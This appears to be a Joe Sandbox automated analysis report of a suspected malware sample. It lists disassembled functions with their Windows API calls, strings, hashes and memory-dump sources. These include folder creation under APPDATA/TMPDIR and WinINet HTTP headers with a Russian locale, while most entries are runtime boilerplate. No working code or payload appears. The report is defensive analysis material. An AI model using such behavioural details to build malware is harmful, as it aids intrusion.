Instruction ID: 3d06a1d46c9e927f581abf88e740a03f69e3fad8364d4cdf02b7d05f470413ac
Opcode Fuzzy Hash: 5cc99db94015cab6c404d32d320387b6f9b26d2efedfbed277260f256f17e541
Instruction Fuzzy Hash: DAB15471800209EFCF29DFA5C8819AEB7B5FF14314B14456BE8117B692D338DA61CBDA

Function 10001CDD Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 156COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 10001CE7
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,00000264,1000202E,?), ref: 10001D2D
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000), ref: 10001DE9
GetLastError.KERNEL32(?,?,00000001,00000000), ref: 10001DF9
GetTempPathA.KERNEL32(00000104,?,?,?,00000001,00000000), ref: 10001E12
CreateDirectoryA.KERNEL32(?,00000000,?,?,00000000,?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ECC
GetLastError.KERNEL32(?,?,00000001,00000000,?,?,00000001,00000000), ref: 10001ED2

Strings

TMPDIR, xrefs: 10001E24
APPDATA, xrefs: 10001D3F

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: CreateDirectoryErrorLastPath$FolderH_prolog3_Temp
String ID: APPDATA$TMPDIR
API String ID: 1838500112-4048745339
Opcode ID: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction ID: 65cc4f0b8c34a884811309b14049f09b1d2f67be4c4777eb46c939f585e6cab7
Opcode Fuzzy Hash: 00851e4ded4e5e03db144df6c0333d2f877147d47fd9b3b0a9c51e3763c74205
Instruction Fuzzy Hash: 6B515E70900259EAFB64EBA4CC89BDDB7B9EF04380F5005E9E109A6055DB74AFC4CF61

Function 100010C7 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 55networkCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 100010CE
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001103
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001123
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001143
HttpAddRequestHeadersA.WININET(?,?,?,20000000), ref: 10001163

Strings

Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 10001145
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 10001125
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 100010D9
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 10001105

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: HeadersHttpRequest$H_prolog3_
String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
API String ID: 1254599795-787135837
Opcode ID: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction ID: 505ec4d7c45309835e960384523a5e30396a54de81b8e769e2ad7823f420ed9d
Opcode Fuzzy Hash: 8d3d7825b2bb6dea36e27622bcd4b7ddfc44603214986a735072bca3a8471053
Instruction Fuzzy Hash: DA119372D0010DEEEB10DBA9DC91DEEBB78EB18351FA0C019F22176051DB75AA45DBB1

Function 04CF04E5 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04CF04FB
_free.LIBCMT ref: 04CF0507
_free.LIBCMT ref: 04CF0512
_free.LIBCMT ref: 04CF051D
_free.LIBCMT ref: 04CF0528
_free.LIBCMT ref: 04CF0533
_free.LIBCMT ref: 04CF053E
_free.LIBCMT ref: 04CF0549
_free.LIBCMT ref: 04CF0554
_free.LIBCMT ref: 04CF0562

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: fe283fd8c536959d9cbb52a3305d3fc21224adf50181bca55d874b9ff2adc1f7
Instruction ID: acaa041e7243b144c48e04bfb57c0b5a001fb5848c61560116689d056185857d
Opcode Fuzzy Hash: fe283fd8c536959d9cbb52a3305d3fc21224adf50181bca55d874b9ff2adc1f7
Instruction Fuzzy Hash: 9721AB76900108BFDB41EF95CC80DDE7BB9BF08644F01856AF6559B222DB36EA44DB80

Function 04B5134C Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 04B51362

Part of subcall function 04B51D29: HeapFree.KERNEL32(00000000,00000000,?,04B572DB,?,00000000,?,?,?,04B57302,?,00000007,?,?,04B575E1,?), ref: 04B51D3F
Part of subcall function 04B51D29: GetLastError.KERNEL32(?,?,04B572DB,?,00000000,?,?,?,04B57302,?,00000007,?,?,04B575E1,?,?), ref: 04B51D51

_free.LIBCMT ref: 04B5136E
_free.LIBCMT ref: 04B51379
_free.LIBCMT ref: 04B51384
_free.LIBCMT ref: 04B5138F
_free.LIBCMT ref: 04B5139A
_free.LIBCMT ref: 04B513A5
_free.LIBCMT ref: 04B513B0
_free.LIBCMT ref: 04B513BB
_free.LIBCMT ref: 04B513C9

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: fe283fd8c536959d9cbb52a3305d3fc21224adf50181bca55d874b9ff2adc1f7
Instruction ID: 2a10a7805f43cdd66fb67693c0c57ce734796f275dd78e4ecda33884c6c57685
Opcode Fuzzy Hash: fe283fd8c536959d9cbb52a3305d3fc21224adf50181bca55d874b9ff2adc1f7
Instruction Fuzzy Hash: A821B87A90011CFFDB05EF99D880EDDBFB8BF08244B4051A6E9259B171DB31EA54DB80

Function 10006D58 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 10006D6E

Part of subcall function 10007A3C: RtlFreeHeap.NTDLL(00000000,00000000,?,100066F0), ref: 10007A52
Part of subcall function 10007A3C: GetLastError.KERNEL32(?,?,100066F0), ref: 10007A64

_free.LIBCMT ref: 10006D7A
_free.LIBCMT ref: 10006D85
_free.LIBCMT ref: 10006D90
_free.LIBCMT ref: 10006D9B
_free.LIBCMT ref: 10006DA6
_free.LIBCMT ref: 10006DB1
_free.LIBCMT ref: 10006DBC
_free.LIBCMT ref: 10006DC7
_free.LIBCMT ref: 10006DD5

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 8b6844ad3729e3fcad320fbe5a6c795a3d07021f3fe8183e596603b455261e22
Instruction ID: b25e74a844c2162c16b878e0af7aba0ae7dfb07406db983acad16b8670962f51
Opcode Fuzzy Hash: 8b6844ad3729e3fcad320fbe5a6c795a3d07021f3fe8183e596603b455261e22
Instruction Fuzzy Hash: B121EB7AA00108AFDB01DF94CC81CDD7BB9FF48290F4041A6F509AB265DB35EB45CB91

Function 004110E5 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004110FB

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

_free.LIBCMT ref: 00411107
_free.LIBCMT ref: 00411112
_free.LIBCMT ref: 0041111D
_free.LIBCMT ref: 00411128
_free.LIBCMT ref: 00411133
_free.LIBCMT ref: 0041113E
_free.LIBCMT ref: 00411149
_free.LIBCMT ref: 00411154
_free.LIBCMT ref: 00411162

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9528e1cdbf83faf96e5ccd5663a9dae100ce71697e6d3b34ec1221184646fa63
Instruction ID: 5835e015de09c4cc1f53331febaa62aeb6779b48f58b4a69f4cd00ff2e5db2ca
Opcode Fuzzy Hash: 9528e1cdbf83faf96e5ccd5663a9dae100ce71697e6d3b34ec1221184646fa63
Instruction Fuzzy Hash: 3D219876900108AFCB41EF95C881DDE7FB9BF48344B0445ABB6199B121EB75DA84CB84

Function 0041A609 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlDecodePointer.NTDLL(?), ref: 0041A622

Strings

log, xrefs: 0041A67F, 0041A68E
acos, xrefs: 0041A758
exp, xrefs: 0041A6A1, 0041A706
log10, xrefs: 0041A664, 0041A673
pow, xrefs: 0041A6C0, 0041A76A, 0041A7B7
asin, xrefs: 0041A74F
sqrt, xrefs: 0041A761

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: b0f5ff7df8ac5b22e86cd4b492fd97d41adae4fcfb0b2561f3f2f1ad21474b7f
Instruction ID: 98f7bf46ea2d04c7b06ac9836e821450726948aa73f1de9436264de5739e925b
Opcode Fuzzy Hash: b0f5ff7df8ac5b22e86cd4b492fd97d41adae4fcfb0b2561f3f2f1ad21474b7f
Instruction Fuzzy Hash: 5651ACB490121ACBDF109FA8E94C1EEBBB0FB05300F554047D4A1A62A5C77CCAF68B5E

Function 10004131 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 10004250
___TypeMatch.LIBVCRUNTIME ref: 1000435E
_UnwindNestedFrames.LIBCMT ref: 100044B0
CallUnexpected.LIBVCRUNTIME ref: 100044CB

Strings

csm, xrefs: 1000416E
csm, xrefs: 10004287
csm, xrefs: 100041DB

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction ID: 3d3d7b973083d5502e03e9704e538657a8ad6664bd6ca03923258a49de60437f
Opcode Fuzzy Hash: c4421cf047d38b61ed069ce13853ee51e8b724bc32a0b317f19ee854d316b146
Instruction Fuzzy Hash: C0B180B5C00209DFEF05DF94D881A9EBBB9FF04390F12415AF8116B21ADB31EA51CB99

Function 10008F36 Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 10008F60
_free.LIBCMT ref: 10009039
_free.LIBCMT ref: 10009066

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 95010d729c9058774f15a7cf8f5dacf6367eb285395d52ca300c8e26b156bdd9
Instruction ID: d9dcc3e5fe16bdce254290b2b7dc8605e647b21a7cac7c74f5ab9bfc5a2656b0
Opcode Fuzzy Hash: 95010d729c9058774f15a7cf8f5dacf6367eb285395d52ca300c8e26b156bdd9
Instruction Fuzzy Hash: 83510474E04246EFFB10DFB48C85A9E7BE4EF413D0F124169E95497289EB769A00CB51

Function 04B492EF Relevance: 12.1, APIs: 8, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0042AF64,00000FA0,?,?,04B492CD), ref: 04B492FB
GetModuleHandleW.KERNEL32(0041DFB8,?,?,04B492CD), ref: 04B49306
GetModuleHandleW.KERNEL32(0041DFFC,?,?,04B492CD), ref: 04B49317
GetProcAddress.KERNEL32(00000000,0041E018), ref: 04B49329
GetProcAddress.KERNEL32(00000000,0041E034), ref: 04B49337
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,04B492CD), ref: 04B4935A
RtlDeleteCriticalSection.NTDLL(0042AF64), ref: 04B49376
CloseHandle.KERNEL32(0042AF60,?,?,04B492CD), ref: 04B49386

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID:
API String ID: 2565136772-0
Opcode ID: f40741635cb42056a58b419ea30317dd48f67c6f9c1bd194eb93f888c376e813
Instruction ID: 096d5d5beab73883d0c31ded6276062fec5c07aa1a4af502f75caaa1d3304148
Opcode Fuzzy Hash: f40741635cb42056a58b419ea30317dd48f67c6f9c1bd194eb93f888c376e813
Instruction Fuzzy Hash: 0B01B5F1F40321ABD7202F74AD09B9B3BA8EBCDB11B594071FD05D21A4DBACD4019A6A

Function 100028D6 Relevance: 10.6, APIs: 7, Instructions: 136COMMONLIBRARYCODE

Download Yara Rule

APIs

__RTC_Initialize.LIBCMT ref: 1000291D
___scrt_uninitialize_crt.LIBCMT ref: 10002937

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction ID: 04769ff959a67eddfc0a91c70c155494b73e6b711ec1a15a155288148215b0b0
Opcode Fuzzy Hash: bcaf1c042ea0bc50edbc81b8ebd31fe72f9a2e1de53f2412ad321d30f710d584
Instruction Fuzzy Hash: 3741F372E05229AFFB21CF68CC41BAF7BA4EB846D0F114119F84467258DB309E419BA1

Function 04CE9FE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 04CEA017
___except_validate_context_record.LIBVCRUNTIME ref: 04CEA01F
_ValidateLocalCookies.LIBCMT ref: 04CEA0A8
__IsNonwritableInCurrentImage.LIBCMT ref: 04CEA0D3
_ValidateLocalCookies.LIBCMT ref: 04CEA128

Strings

csm, xrefs: 04CEA0BD

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction ID: 320d9273309d4f661b30fab8b9268647b8c7b7509f23bd977647be4226ea204a
Opcode Fuzzy Hash: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction Fuzzy Hash: 7D41E534A00209EFCF10DF6AC884ABEBBB6AF45328F148055E815AB351D737BA15CB91

Function 10003A20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 10003A57
___except_validate_context_record.LIBVCRUNTIME ref: 10003A5F
_ValidateLocalCookies.LIBCMT ref: 10003AE8
__IsNonwritableInCurrentImage.LIBCMT ref: 10003B13
_ValidateLocalCookies.LIBCMT ref: 10003B68

Strings

csm, xrefs: 10003AFD

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction ID: 53213870faae5245fec6ed73a44d54790f208d332314260de239e107b7581961
Opcode Fuzzy Hash: 618cc4b1c9e8ab126c58b9dfa5104022869f7905af091c597ce0ca7ba0b792b2
Instruction Fuzzy Hash: 2A41E434A002189FDF02CF68C881A9FBBF9EF453A8F11C065E9149B356C771EA15CB91

Function 0040ABE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0040AC17
___except_validate_context_record.LIBVCRUNTIME ref: 0040AC1F
_ValidateLocalCookies.LIBCMT ref: 0040ACA8
__IsNonwritableInCurrentImage.LIBCMT ref: 0040ACD3
_ValidateLocalCookies.LIBCMT ref: 0040AD28

Strings

csm, xrefs: 0040ACBD

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction ID: 3b4537d877df667a26a5f7af8fbb8c140355993206fc9854477fa74853602e25
Opcode Fuzzy Hash: 33bf7593fb2420a6276facfce688e1aeeae85943ba4b5033adcc5dff2c976554
Instruction Fuzzy Hash: 5E41E634A003089BDF10DF69C844A9FBBB1EF45318F14806AEC156B3D2C7399A65CBDA

Function 0041611C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

obA, xrefs: 0041616D
C:\Users\user\Desktop\3K6rBUOQ2z.exe, xrefs: 00416121

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\3K6rBUOQ2z.exe$obA
API String ID: 0-2627781642
Opcode ID: 25d76702c84b0b1a2803db8c0b9f12018f39228ab9c5ebd3ea8f3f736e5c4ef2
Instruction ID: d8f7faa714452712b8dd2e2ad71d7e848a624b740a48fc3c62d8856f0a647b07
Opcode Fuzzy Hash: 25d76702c84b0b1a2803db8c0b9f12018f39228ab9c5ebd3ea8f3f736e5c4ef2
Instruction Fuzzy Hash: E321F971600219BFDB20AF668C81DAB776DEF00368712863BFD15D7291D738ED8187A8

Function 100072FC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 10007367
api-ms-, xrefs: 10007353

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction ID: 4a8ea71034e84b8525c0961ad639e20c08c2bf99947945f029ec6b94e21b7784
Opcode Fuzzy Hash: cde85c6b5c8b57cdf34b7df1744eca22314f2c72a21997f039bbb8b7806936d4
Instruction Fuzzy Hash: DC219671E01321EBF722DB648C81A4E37A4FB456E0B214124ED59A7195D778EE00A6E1

Function 00411B4A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

ext-ms-, xrefs: 00411BB5
api-ms-, xrefs: 00411BA1

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: e542fd5fe1f20daa28cc2bb0b7df5d538cfe0501b749800661c5dcfdf3bad05e
Instruction ID: 9472c79033c58d28bd5fab4bb402529842eae37fc53cf50cf89856cde478e707
Opcode Fuzzy Hash: e542fd5fe1f20daa28cc2bb0b7df5d538cfe0501b749800661c5dcfdf3bad05e
Instruction Fuzzy Hash: 1F21D571E09221ABCB218B259C44BDB3758AF017A4F254527EE06A73A0F63CFC41C6E8

Function 04CF6482 Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 04CF644A: _free.LIBCMT ref: 04CF646F

_free.LIBCMT ref: 04CF64D0
_free.LIBCMT ref: 04CF64DB
_free.LIBCMT ref: 04CF64E6
_free.LIBCMT ref: 04CF653A
_free.LIBCMT ref: 04CF6545
_free.LIBCMT ref: 04CF6550
_free.LIBCMT ref: 04CF655B

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 68c17f3537dccb6f407bd63d1e3096b2584649c38850d27baa78e981a952f3fd
Instruction ID: d115a3c1556e8c7a8b1246ba41cab4f2983be82c3d72136885d86cadfd654bff
Opcode Fuzzy Hash: 68c17f3537dccb6f407bd63d1e3096b2584649c38850d27baa78e981a952f3fd
Instruction Fuzzy Hash: 01119632741704B6F6A0F770CC06FCB7B9E6F00708F408818BB9966152D67DB545A761

Function 04B572E9 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 04B572B1: _free.LIBCMT ref: 04B572D6

_free.LIBCMT ref: 04B57337

Part of subcall function 04B51D29: HeapFree.KERNEL32(00000000,00000000,?,04B572DB,?,00000000,?,?,?,04B57302,?,00000007,?,?,04B575E1,?), ref: 04B51D3F
Part of subcall function 04B51D29: GetLastError.KERNEL32(?,?,04B572DB,?,00000000,?,?,?,04B57302,?,00000007,?,?,04B575E1,?,?), ref: 04B51D51

_free.LIBCMT ref: 04B57342
_free.LIBCMT ref: 04B5734D
_free.LIBCMT ref: 04B573A1
_free.LIBCMT ref: 04B573AC
_free.LIBCMT ref: 04B573B7
_free.LIBCMT ref: 04B573C2

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 68c17f3537dccb6f407bd63d1e3096b2584649c38850d27baa78e981a952f3fd
Instruction ID: f3638e34a91a9eb389efc8ebeddf53615fc296e693e6a5b1e9022694aa798f79
Opcode Fuzzy Hash: 68c17f3537dccb6f407bd63d1e3096b2584649c38850d27baa78e981a952f3fd
Instruction Fuzzy Hash: C1117F31A50B08BAE920B7B1DC05FCBF79CEF05704F800858FBAD760B0DA66B5145660

Function 1000C5BF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 1000C587: _free.LIBCMT ref: 1000C5AC

_free.LIBCMT ref: 1000C60D

Part of subcall function 10007A3C: RtlFreeHeap.NTDLL(00000000,00000000,?,100066F0), ref: 10007A52
Part of subcall function 10007A3C: GetLastError.KERNEL32(?,?,100066F0), ref: 10007A64

_free.LIBCMT ref: 1000C618
_free.LIBCMT ref: 1000C623
_free.LIBCMT ref: 1000C677
_free.LIBCMT ref: 1000C682
_free.LIBCMT ref: 1000C68D
_free.LIBCMT ref: 1000C698

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: c4c0a627cdf80609df9843e8342f0dd46d11e13b3267d69b732be6628a16741d
Instruction ID: 1780f257e170a803287b818d598211b5e25d48ac92953e35ea001cf34306b7c8
